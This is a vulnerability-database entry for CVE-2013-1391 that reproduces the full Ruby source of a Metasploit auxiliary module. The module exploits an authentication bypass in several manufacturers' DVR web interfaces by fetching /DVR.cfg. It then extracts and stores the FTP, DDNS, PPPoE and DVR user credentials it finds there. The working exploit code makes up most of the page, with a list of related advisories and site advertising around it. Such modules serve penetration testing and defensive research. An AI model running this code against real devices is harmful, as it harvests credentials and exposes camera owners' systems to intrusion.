Lucene search
K

Multiple DVR Manufacturers Configuration Disclosure

šŸ—“ļøĀ 30 Jan 2013Ā 16:22:03Reported byĀ Alejandro Ramos, juan vazquez <[email protected]>TypeĀ 
metasploit
Ā metasploit
šŸ”—Ā www.rapid7.comšŸ‘Ā 30Ā Views

This module takes advantage of an authentication bypass vulnerability at the web interface of multiple manufacturers DVR systems, allowing retrieval of the device configuration

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2013-1391
29 Jan 201300:00
–circl
Check Point Advisories
Multiple Products DVR Configuration Disclosure (CVE-2013-1391)
21 Oct 201300:00
–checkpoint_advisories
CVE
CVE-2013-1391
30 Oct 201920:36
–cve
Cvelist
CVE-2013-1391
30 Oct 201920:36
–cvelist
Tenable Nessus
Hunt CCTV DVR.cfg Direct Request Information Disclosure
6 Feb 201300:00
–nessus
NVD
CVE-2013-1391
30 Oct 201921:15
–nvd
OpenVAS
Multiple DVR Information Disclosure Vulnerability
1 Feb 201300:00
–openvas
Packet Storm
Hunt CCTV Credential Disclosure
28 Jan 201300:00
–packetstorm
Packet Storm
Multiple DVR Manufacturers Configuration Disclosure
1 Sep 202400:00
–packetstorm
Prion
Authentication flaw
30 Oct 201921:15
–prion
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize
    super(
      'Name'        => 'Multiple DVR Manufacturers Configuration Disclosure',
      'Description' => %q{
          This module takes advantage of an authentication bypass vulnerability at the
        web interface of multiple manufacturers DVR systems, which allows to retrieve the
        device configuration.
      },
      'Author'      =>
        [
          'Alejandro Ramos', # Vulnerability Discovery
          'juan vazquez' # Metasploit module
        ],
      'References'  =>
        [
          [ 'CVE', '2013-1391' ],
          [ 'URL', 'http://www.securitybydefault.com/2013/01/12000-grabadores-de-video-expuestos-en.html' ]
        ],
      'License'     => MSF_LICENSE
    )

  end

  def get_pppoe_credentials(conf)

    user = ""
    password = ""
    enabled = ""

    if conf =~ /PPPOE_EN=(\d)/
      enabled = $1
    end

    return if enabled == "0"

    if conf =~ /PPPOE_USER=(.*)/
      user = $1
    end

    if conf =~ /PPPOE_PASSWORD=(.*)/
      password = $1
    end

    if user.empty? or password.empty?
      return
    end

    info = "PPPOE credentials for #{rhost}, user: #{user}, password: #{password}"

    report_note({
      :host   => rhost,
      :data   => info,
      :type   => "dvr.pppoe.conf",
      :sname  => 'pppoe',
      :update => :unique_data
    })

  end


  def get_ddns_credentials(conf)
    hostname = ""
    user = ""
    password = ""
    enabled = ""

    if conf =~ /DDNS_EN=(\d)/
      enabled = $1
    end

    return if enabled == "0"

    if conf =~ /DDNS_HOSTNAME=(.*)/
      hostname = $1
    end

    if conf =~ /DDNS_USER=(.*)/
      user = $1
    end

    if conf =~ /DDNS_PASSWORD=(.*)/
      password = $1
    end

    if hostname.empty?
      return
    end

    info = "DDNS credentials for #{hostname}, user: #{user}, password: #{password}"

    report_note({
      :host   => rhost,
      :data   => info,
      :type   => "dvr.ddns.conf",
      :sname  => 'ddns',
      :update => :unique_data
    })

  end

  def get_ftp_credentials(conf)
    server = ""
    user = ""
    password = ""
    port = ""

    if conf =~ /FTP_SERVER=(.*)/
      server = $1
    end

    if conf =~ /FTP_USER=(.*)/
      user = $1
    end

    if conf =~ /FTP_PASSWORD=(.*)/
      password = $1
    end

    if conf =~ /FTP_PORT=(.*)/
      port = $1
    end

    if server.empty?
      return
    end

    report_cred(
      ip: server,
      port: port,
      service_name: 'ftp',
      user: user,
      password: password,
      proof: conf.inspect
    )
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def get_dvr_credentials(conf)
    conf.scan(/USER(\d+)_USERNAME/).each { |match|
      user = ""
      password = ""
      active = ""

      user_id = match[0]

      if conf =~ /USER#{user_id}_LOGIN=(.*)/
        active = $1
      end

      if conf =~ /USER#{user_id}_USERNAME=(.*)/
        user = $1
      end

      if conf =~ /USER#{user_id}_PASSWORD=(.*)/
        password = $1
      end

      if active == "0"
        user_active = false
      else
        user_active = true
      end

      report_cred(
        ip: rhost,
        port: rport,
        service_name: 'dvr',
        user: user,
        password: password,
        proof: "user_id: #{user_id}, active: #{active}"
      )
    }
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def run_host(ip)

    res = send_request_cgi({
      'uri'          => '/DVR.cfg',
      'method'       => 'GET'
    })

    if not res or res.code != 200 or res.body.empty? or res.body !~ /CAMERA/
      vprint_error("#{rhost}:#{rport} - DVR configuration not found")
      return
    end

    p = store_loot("dvr.configuration", "text/plain", rhost, res.body, "DVR.cfg")
    vprint_good("#{rhost}:#{rport} - DVR configuration stored in #{p}")

    conf = res.body

    get_ftp_credentials(conf)
    get_dvr_credentials(conf)
    get_ddns_credentials(conf)
    get_pppoe_credentials(conf)

    dvr_name = ""
    if res.body =~ /DVR_NAME=(.*)/
      dvr_name = $1
    end

    report_service(:host => rhost, :port => rport, :sname => 'dvr', :info => "DVR NAME: #{dvr_name}")
    print_good("#{rhost}:#{rport} DVR #{dvr_name} found")
  end
end

Data

Build on a solid foundation withĀ Vulners data

WeĀ provide theĀ essential building blocks forĀ cybersecurity solutions withĀ comprehensive, structured, andĀ constantly updated vulnerability andĀ exploits data

Api

Power your application withĀ Vulners API

The Vulners REST API offers reliable, high-performance access toĀ vulnerabilityĀ intelligence, withĀ 99.9%Ā SLAĀ uptime andĀ CDN-backed data delivery forĀ seamlessĀ global access

App

Assess and manage vulnerabilities withĀ VulnersĀ tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation